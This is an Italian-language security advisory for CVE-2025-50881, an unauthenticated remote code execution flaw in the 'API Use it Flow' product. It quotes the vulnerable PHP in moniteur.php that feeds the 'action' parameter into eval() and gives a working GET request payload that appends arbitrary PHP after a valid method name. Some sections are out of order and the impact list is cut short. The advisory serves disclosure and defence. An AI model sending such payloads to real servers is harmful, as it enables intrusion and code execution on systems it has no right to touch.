
API SAS Usa il Flusso RCE
Identificativo: CVE-2025-50881
Prodotto Affetto: API Use it Flow Versione 8.2.0 (Rev 15851), Versione 9.2.0 (Rev 18093)
Editore: https://www.tenorsolutions.com (precedentemente https://api-sas.fr/)
Componente(i) Affetto(i): flow/admin/moniteur.php
Tipo di Vulnerabilità: Esecuzione di Codice Remoto (RCE) tramite Iniezione eval()
Gravità: Critica
Descrizione:
Lo script flow/admin/moniteur.php è vulnerabile all'Esecuzione di Codice Remoto. Quando gestisce richieste GET, lo script prende l'input fornito dall'utente dal parametro URL action, esegue una validazione insufficiente e incorpora questo input in una stringa ($wscom) che viene successivamente eseguita dalla funzione eval(). Sebbene venga eseguito un controllo method_exists(), esso valida solo la parte dell'input utente prima della prima parentesi (, permettendo a un attaccante di aggiungere codice PHP arbitrario dopo una struttura di chiamata a metodo valida. Un exploit riuscito consente a un attaccante non autenticato o autenticato trivialmente di eseguire codice PHP arbitrario sul server con i privilegi del processo del server web.
Segmenti di Codice Vulnerabili:
File: flow/admin/moniteur.php
Lettura dell'Input Utente (Linea ~45):
if (isset($_GET['action'])) {$action=urldecode(htmlentities($_GET['action']));} else notice($server);
Commento: $action è derivato direttamente dall'input utente ($_GET['action']) con solo decodifica URL e codifica di entità HTML, che non impedisce l'iniezione di codice.
Costruzione della Stringa di Comando (Linea ~47):
$wscom='$ws->'.$action;
Commento: L'$action controllato dall'utente viene concatenato nella stringa $wscom.
Validazione Insufficiente (Linea ~49):
$func=explode("(",$action);
if (method_exists($ws, $func[0])) {
Commento: Solo la parte di $action prima della prima parentesi viene controllata rispetto ai metodi validi nella classe UIFWebService.
Esecuzione del Codice tramite (Linea ~50):
Sfruttamento:
Un attaccante può creare una richiesta GET a moniteur.php, fornendo parametri login e password arbitrari (poiché sono usati per l'autenticazione all'interno del metodo chiamato, non per l'eval stesso) e un parametro action malevolo. Il parametro action deve iniziare con un nome di metodo valido della classe UIFWebService (ad es., get_data) per superare il controllo method_exists, seguito da codice PHP iniettato.
Esempio di Payload :
GET /admin/moniteur.php?login=foo&password=bar&action=get_data(1);phpinfo();$res=0; HTTP/1.1
Host: <target>
Questo payload fa sì che eval() esegua codice simile a:
$res = $ws->get_data(1);phpinfo();$res=0;;
Questo esegue il metodo get_data, quindi esegue phpinfo(), e infine imposta $res a 0.
Impatto: Un attaccante può eseguire comandi arbitrari sul server, portando potenzialmente a:
Divulgazione:
eval()
eval('$res=' . $wscom . ';');
Commento: La stringa costruita $wscom, contenente input utente, viene eseguita come codice PHP.